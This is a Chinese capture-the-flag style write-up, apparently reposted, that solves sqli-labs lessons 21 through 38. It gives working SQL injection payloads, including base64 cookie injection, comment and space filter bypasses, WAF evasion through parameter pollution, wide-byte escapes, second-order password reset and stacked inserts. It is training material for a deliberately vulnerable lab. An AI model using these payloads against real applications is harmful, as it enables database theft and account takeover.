sqli-lab——Writeup21~38(各種過濾繞過WAF和)

Less-21 Cookie Injection- Error Based- complex - string ( 基于錯誤的復雜的字符型Cookie注入)

base64編碼,單引號,報錯型,cookie型注入。

本關和less-20相似,只是cookie的uname值經過base64編碼了。

在這里插入圖片描述

登錄后頁面:
mV0L3dlaXhpbl80NTY5NDM4OA==,size_16,color_FFFFFF,t_70)
cookie的地方顯然是base64加密過的,解碼得到:admin,就是剛才登陸的uname,所以猜測:本題在cookie處加密了字符串,

查看php文件確實如此,所以只需要上傳paylaod的時候base64加密一下就可以了。

抓包:

在這里插入圖片描述
%3d為url編碼的 = 號

測試payloa:

admin' and 1=1 --+    //明文
YWRtaW4nIGFuZCAxPTEgLS0r    //密文

存在報錯回顯,即注入點
在這里插入圖片描述

爆數據庫:

-admin') union select 1,2,database()#    				//明文
LWFkbWluJykgdW5pb24gc2VsZWN0IDEsMixkYXRhYmFzZSgpIw==    //密文

剩下和less20 相同

less22(base64編碼,雙引號,報錯型,cookie型注入。)

單引號換雙引號
其余操作相同

-admin" union select 1,2,database()#
LWFkbWluIiB1bmlvbiBzZWxlY3QgMSwyLGRhdGFiYXNlKCkj

less23(過濾注釋)

源碼:

可看到源碼過濾了注釋符:
構造閉合型語句:

爆庫:
?id=' union select 1,2,database() '
爆表:
?id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() or '1'= '
爆列名:
?id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' or '1'= '
爆字段值:
?id=' union select 1,group_concat(username),group_concat(password) from users where 1 or '1' = '

less24(二次注入)

注冊一個賬號名為:admin’#,密碼設為admin
登陸選擇重置密碼
重置密碼為:123456
此時執行語句為:

UPDATE users SET passwd="New_Pass" WHERE username =' admin' # ' AND password='

但因為admin’# 的閉合和注釋
實際執行為:

UPDATE users SET passwd="New_Pass" WHERE username =' admin'

在這里插入圖片描述
即通過帶有特殊字符的語句在修改密碼的語句當中把語句變成了修改目標賬號的密碼

注入完成

less25Trick with OR & AND (過濾了or和and)

雙寫繞過:

?id=0' oorr 1=1 --+
?id=2' aandnd 1=1 --+

less 26過濾了注釋和空格的注入

查源碼:

if(isset($_GET['id']))
{$id=$_GET['id'];//logging the connection parameters to a file for analysis.$fp=fopen('result.txt','a');fwrite($fp,'ID:'.$id."\n");fclose($fp);//fiddling with comments$id= blacklist($id);//echo "<br>";//echo $id;//echo "<br>";$hint=$id;// connectivity $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);if($row){echo "<font size='5' color= '#99FF00'>";	echo 'Your Login name:'. $row['username'];echo "<br>";echo 'Your Password:' .$row['password'];echo "</font>";}else {echo '<font color= "#FFFF00">';print_r(mysql_error());echo "</font>";  }
}else { echo "Please input the ID as parameter with numeric value";}function blacklist($id)
{$id= preg_replace('/or/i',"", $id);			//strip out OR (non case sensitive)$id= preg_replace('/and/i',"", $id);		//Strip out AND (non case sensitive)$id= preg_replace('/[\/\*]/',"", $id);		//strip out /*$id= preg_replace('/[--]/',"", $id);		//Strip out --$id= preg_replace('/[#]/',"", $id);			//Strip out #$id= preg_replace('/[\s]/',"", $id);		//Strip out spaces$id= preg_replace('/[\/\\\\]/',"", $id);		//Strip out slashesreturn $id;
}

過濾了 or,and , /* , – , # , 空格 , /

空格替代:

%09 TAB鍵(水平)
%0a 新建一行
%0c 新的一頁
%0d return功能
%0b TAB鍵(垂直)

這道題還可以使用盲注實現

0'||left(database(),1)='s'%26%26'1'='1

同樣報錯注入也可以實現

0'||updatexml(1,concat(0x7e,(Select%0a@@version),0x7e),1)||'1'='1

只要將空格和and繞過 那么實現就簡單了
or和and 很好過濾,注釋過濾了就使用永真閉合

less26a過濾了空格和注釋的盲注

和上一題區別不大
通過檢測 0’||‘1’=‘1 判斷是’
也可以通過fuzz去查看 發現 ') ") 無報錯
使用盲注ok

0’||left(database(),1)>‘s’%26%26’1’='1

嘗試繞過,這兩個都可以繞過
0’)%a0union%a0select%a01,2,3||(‘1
0’)%a0union%a0select%a01,2,3;%00
雖然這道題說是盲注,但是通過閉合 也可以直接爆出結果。

less27(過濾了注釋和空格的注入)

做了這么多了,下來就不說如何拿到數據了,重點在于如何繞過,只要能夠找到注入點,剩下的可以利用sqlmap 等等工具直接利用,畢竟在滲透中,沒有那么多的時間讓我們去消耗

過濾了union和select
繞過方式:雙寫 大小寫
0’%0aUnioN%0aSeleCT%0a1,2,3;%00
0’%A0UnIoN%A0SeLeCt(1),2,3%26%26%a0’1

這里說明一下,冒號可以做閉合用, %00用來截斷 這樣和注釋有相同的含義,這下繞過就多了:注釋,分號閉合,冒號%00截斷

Less-27a 過濾了union和select

方法1:
和上一題一樣,但是把單引號換成了雙引號
替換上一題的payload即可繞過

方法2:
爆數據庫:
http://10.10.10.141/sql/Less-27a/?id=1"%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,database(),“3
爆表名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(table_name)),3%a0from%a0information_schema.tables%a0where%a0table_schema=‘security’%a0%26%26%a0"1"%a0=“1
查字段名:
http://10.10.10.141/sql/Less-27a/?id=1”%a0And%a0(length(database())>8)%a0uNion%a0sELect%a01,(group_concat(column_name)),3%a0from%a0information_schema.columns%a0where%a0table_schema=‘security’%a0And%a0table_name=‘users’%26%26%a0"1"%a0=“1
查數據:
http://10.10.10.141/sql/Less-27a/?id=-1”%a0And%a0(length(database())>8)%a0UNion%a0SElect%a0(1),(group_concat(username)),(3)from%a0users%a0UNion%a0SElect%a01,2,“3”="3

less28過濾了union和select大小寫

沒有報錯 盲注
過濾了大小寫
但是可以整體雙寫

less28a濾了union和select大小寫

過濾大小寫,但是過濾不嚴格
類似于28 這里可以使用注釋

0')%A0UnIoN%A0SeLeCt(1),version(),database() --+

less29 獲取-基于錯誤的缺乏證據的不匹配-在web應用程序前面有一個WAF。

大佬的解釋:
http://blog.csdn.net/nzjdsds/article/details/77758824

waf是只允許輸入數字的,我們在輸入數字的時候先給waf看然后檢測正常后才轉發給我們需要訪問的頁面,這里我弄2個值,一個是用來欺騙waf的。另一個才是給我們需要訪問頁面的

注入:

?id=1&id=-1' union select 1,2,database() --+

less30有waf的盲注

參考less29

?id=1&id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

Less-31 Protection with WAF 有waf防護

?id=1&id=-1")union select 1,2,database() --+

less32:bypass Addslashes()

繞過 addslashes()

寬字節繞過引號轉義

addslashes()會在單引號前加一個\ 例如:I’m hacker 傳入addslashes(),得到:I’m hacker

本題想以此阻止sql注入語句閉合,但是可以使用寬字節繞過:

原理大概來說就是,一個雙字節組成的字符,比如一個漢字‘我’的utf8編碼為%E6%88%91 當我們使用?id=-1%E6’ 這樣的構造時,’ 前面加的 \ 就會和%E6 合在一起,但是又不是一個正常漢字,但是起到了注掉 \ 的作用,庫。

樣例payload

?id=-1%E6' union select 1,version(),database() --+

我在爆列名的時候卡了一下,分析半天語句最后想起來了, ‘users’ 這里有單引號。

使用十六進制編碼就可以繞過了’'使用0x 代替,users 使用十六進制編碼得到7573657273,構造為0x7573657273

?id=-1%E6' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+

接下來的步驟比較簡單,不再贅述。

注入完成。

less33:Bypass Add SLASHES

和33一模一樣

less34:Bypass Add SLASHES

繞過添加斜杠

和上一關差別不大,使用post請求
一樣的寬字節注入,并且在uname和passwd處都存在注入
post方式,抓包提交。

樣例payload

uname=admin%99' union select version(),database()--+&passwd=admin&submit=Submit

爆列名的時候要注意’users’的轉義。

注入結束。

less35 GET-Bypass添加斜杠

為什么要關心addslashes()

測試payload:

?id=1’
在這里插入圖片描述

id周圍沒有單引號或雙引號,現在就明白題目的標題了,不需要要過,直接注入,無比簡單,不再贅述。

樣例payload

?id=-1 union select 1,version(),database()–+

Less-36 寬字節注入GET-Bypass MySQLreal escape_string

先來看看這個函數
mysql_real_escape_string() 函數轉義 SQL 語句中使用的字符串中的特殊字符。

下列字符受影響:

\x00
\n
\r
\
'
"
\x1a

如果成功,則該函數返回被轉義的字符串。如果失敗,則返回 false。
而這個函數可以通過以下語句繞過
aaa’ OR 1=1 –

0%df’ union select 1,2,database() --+

Less-37寬字節注入

到了后面,主要講思路,語句基本都會了
這里是post方式,我們抓包 添加語句到uname或者passwd中,同樣是添加’%df報錯,查詢 --+做注釋

uname=0%df' union select 1,database() --+&passwd=admin&submit=Submit

成功繞過

Less-38 層次化查詢

可以直接正常注入
主要看下這個函數
mysqli_more_results() 檢查一個多重查詢語句中是否有更多結果

堆疊注入,也就是可以執行多條sql語句

/Less-38/?id=1';insert into users(id,username,password) values ('38','less38','hello')--+

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/532587.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/532587.shtml
英文地址,請注明出處:http://en.pswp.cn/news/532587.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

Libtorch報錯:terminate called after throwing an instance of ‘c10::Error‘ what():isTensor()INTERNAL ASS

Libtorch報錯&#xff1a;terminate called after throwing an instance of ‘c10::Error’ what(): isTensor() INTERNAL ASSERT FAILED 報錯 問題出現在筆者想要將 yolov5 通過 PyTorch 的 C 接口 Libtorch 部署到樹莓派上。 完整報錯信息&#xff1a; terminate called …

sqli-lab——Writeup(38~over)堆疊等......

知識點&#xff1a; 1.堆疊注入原理&#xff08;stacked injection&#xff09; 在SQL中&#xff0c;分號&#xff08;;&#xff09;是用來表示一條sql語句的結束。試想一下我們在 ; 結束一個sql語句后繼續構造下一條語句&#xff0c;會不會一起執行&#xff1f;因此這個想法…

mysql常規使用(建立,增刪改查,視圖索引)

目錄 1.數據庫建立 2.增刪改查 3.視圖建立&#xff1a; 1.數據庫建立 mysql> mysql> show databases; ----------------------------------- | Database | ----------------------------------- | information_schema | | ch…

php操作mysql數據庫

phpmyadmin phpadmin是一個mysql圖形化管理工具&#xff0c;是一款實用php開發的mysql苦戶端軟件&#xff0c;基于web跨平臺的管理系統&#xff0c;支持簡體中文&#xff0c;官網&#xff1a;www.phpmyadmin.net可以下載免費最新版。提供圖形化操作界面&#xff0c;完成對mysq…

C:C++ 函數返回多個參數

C/C 函數返回多個參數 轉自&#xff1a;https://blog.csdn.net/onlyou2030/article/details/48174461 筆者是 Python 入門的&#xff0c;一直很困惑 C/C 中函數如何返回多個參數。 如果一個函數需要返回多個參數&#xff0c;可以采用以下兩種方法&#xff1a; 傳引用或指針…

sql預編譯

一.數據庫預編譯起源: 數據庫接受sql語句,需要解析和制定執行,中間需要花費一段時間. 有時候同一語句可能會多次執行, 那么就會造成資源的浪費 如何減少編譯執行的時間 ? 就有了預編譯,預編譯是將這類語句提前用占位符替代,一次編譯,多次執行. 預編譯后的執行代碼會被緩存下來…

C++中智能指針的原理、使用、實現

C中智能指針的原理、使用、實現 轉自&#xff1a;https://www.cnblogs.com/wxquare/p/4759020.html 1 智能指針的作用 C程序設計中使用堆內存是非常頻繁的操作&#xff0c;堆內存的申請和釋放都由程序員自己管理。程序員自己管理堆內存可以提高了程序的效率&#xff0c;但是…

Xctf練習sql注入--supersqli

三種方法 方法一 1 回顯正常 1’回顯不正常,報sql語法錯誤 1’ -- 回顯正常,說明有sql注入點,應該是字符型注入(# 不能用) 1’ order by 3 -- 回顯失敗,說明有2個注入點 1’ union select 1,2 -- 回顯顯示過濾語句: 1’; show databases -- 爆數據庫名 -1’; show tables …

深拷貝與淺拷貝、值語義與引用語義對象語義 ——以C++和Python為例

深拷貝與淺拷貝、值語義與引用語義/對象語義 ——以C和Python為例 值語義與引用語義&#xff08;對象語義&#xff09; 本小節參考自&#xff1a;https://www.cnblogs.com/Solstice/archive/2011/08/16/2141515.html 概念 在任何編程語言中&#xff0c;區分深淺拷貝的關鍵都…

一次打卡軟件的實戰滲透測試

直接打卡抓包, 發現有疑似企業網站,查ip直接顯示以下頁面 直接顯示了后臺安裝界面…就很有意思 探針和phpinfo存在 嘗試連接mysql失敗 fofa掃描為阿里云服務器 找到公司官網使用nmap掃描,存在端口使用onethink 查詢onethink OneThink是一個開源的內容管理框架&#xff0c;…

C++中類的拷貝控制

C中類的拷貝控制 轉自&#xff1a;https://www.cnblogs.com/ronny/p/3734110.html 1&#xff0c;什么是類的拷貝控制 當我們定義一個類的時候&#xff0c;為了讓我們定義的類類型像內置類型&#xff08;char,int,double等&#xff09;一樣好用&#xff0c;我們通常需要考下面…

centos7ubuntu搭建Vulhub靶場(推薦Ubuntu)

這里寫目錄標題一.前言總結二.成功操作&#xff1a;三.出現報錯&#xff1a;四.vulhub使用正文&#xff1a;一.前言總結二.成功操作&#xff1a;三.出現報錯&#xff1a;四.vulhub使用看完點贊關注不迷路!!!! 后續繼續更新優質安全內容!!!!!一.前言總結 二.成功操作&#xff1…

使用 PyTorch 數據讀取,JAX 框架來訓練一個簡單的神經網絡

使用 PyTorch 數據讀取&#xff0c;JAX 框架來訓練一個簡單的神經網絡 本文例程部分主要參考官方文檔。 JAX簡介 JAX 的前身是 Autograd &#xff0c;也就是說 JAX 是 Autograd 升級版本&#xff0c;JAX 可以對 Python 和 NumPy 程序進行自動微分。可以通過 Python的大量特征…

Yapi Mock 遠程代碼執行漏洞

跟風一波復現Yapi 漏洞描述&#xff1a; YApi接口管理平臺遠程代碼執行0day漏洞&#xff0c;攻擊者可通過平臺注冊用戶添加接口&#xff0c;設置mock腳本從而執行任意代碼。鑒于該漏洞目前處于0day漏洞利用狀態&#xff0c;強烈建議客戶盡快采取緩解措施以避免受此漏洞影響 …

C++ ACM模式輸入輸出

C ACM模式輸入輸出 以下我們都以求和作為題目要求&#xff0c;來看一下各種輸入輸出應該怎么寫。 1 只有一個或幾個輸入 輸入樣例&#xff1a; 3 5 7輸入輸出模板&#xff1a; int main() {int a, b, c;// 接收有限個輸入cin >> a >> b >> c;// 輸出結果…

CVE-2017-10271 WebLogic XMLDecoder反序列化漏洞

漏洞產生原因&#xff1a; CVE-2017-10271漏洞產生的原因大致是Weblogic的WLS Security組件對外提供webservice服務&#xff0c;其中使用了XMLDecoder來解析用戶傳入的XML數據&#xff0c;在解析的過程中出現反序列化漏洞&#xff0c;導致可執行任意命令。攻擊者發送精心構造的…

樹莓派攝像頭 C++ OpenCV YoloV3 實現實時目標檢測

樹莓派攝像頭 C OpenCV YoloV3 實現實時目標檢測 本文將實現樹莓派攝像頭 C OpenCV YoloV3 實現實時目標檢測&#xff0c;我們會先實現樹莓派對視頻文件的逐幀檢測來驗證算法流程&#xff0c;成功后&#xff0c;再接入攝像頭進行實時目標檢測。 先聲明一下筆者的主要軟硬件配…

【實戰】記錄一次服務器挖礦病毒處理

信息收集及kill&#xff1a; 查看監控顯示長期CPU利用率超高&#xff0c;懷疑中了病毒 top 命令查看進程資源占用&#xff1a; netstat -lntupa 命令查看有無ip進行發包 netstat -antp 然而并沒有找到對應的進程名 查看java進程和solr進程 ps aux &#xff1a;查看所有進程…

ag 搜索工具參數詳解

ag 搜索工具參數詳解 Ag 是類似ack&#xff0c; grep的工具&#xff0c;它來在文件中搜索相應關鍵字。 官方列出了幾點選擇它的理由&#xff1a; 它比ack還要快 &#xff08;和grep不在一個數量級上&#xff09;它會忽略.gitignore和.hgignore中的匹配文件如果有你想忽略的文…

CVE-2013-4547 文件名邏輯漏洞

搭建環境&#xff0c;訪問 8080 端口 漏洞說明&#xff1a; Nginx&#xff1a; Nginx是一款輕量級的Web 服務器/反向代理服務器及電子郵件&#xff08;IMAP/POP3&#xff09;代理服務器&#xff0c;在BSD-like 協議下發行。其特點是占有內存少&#xff0c;并發能力強&#xf…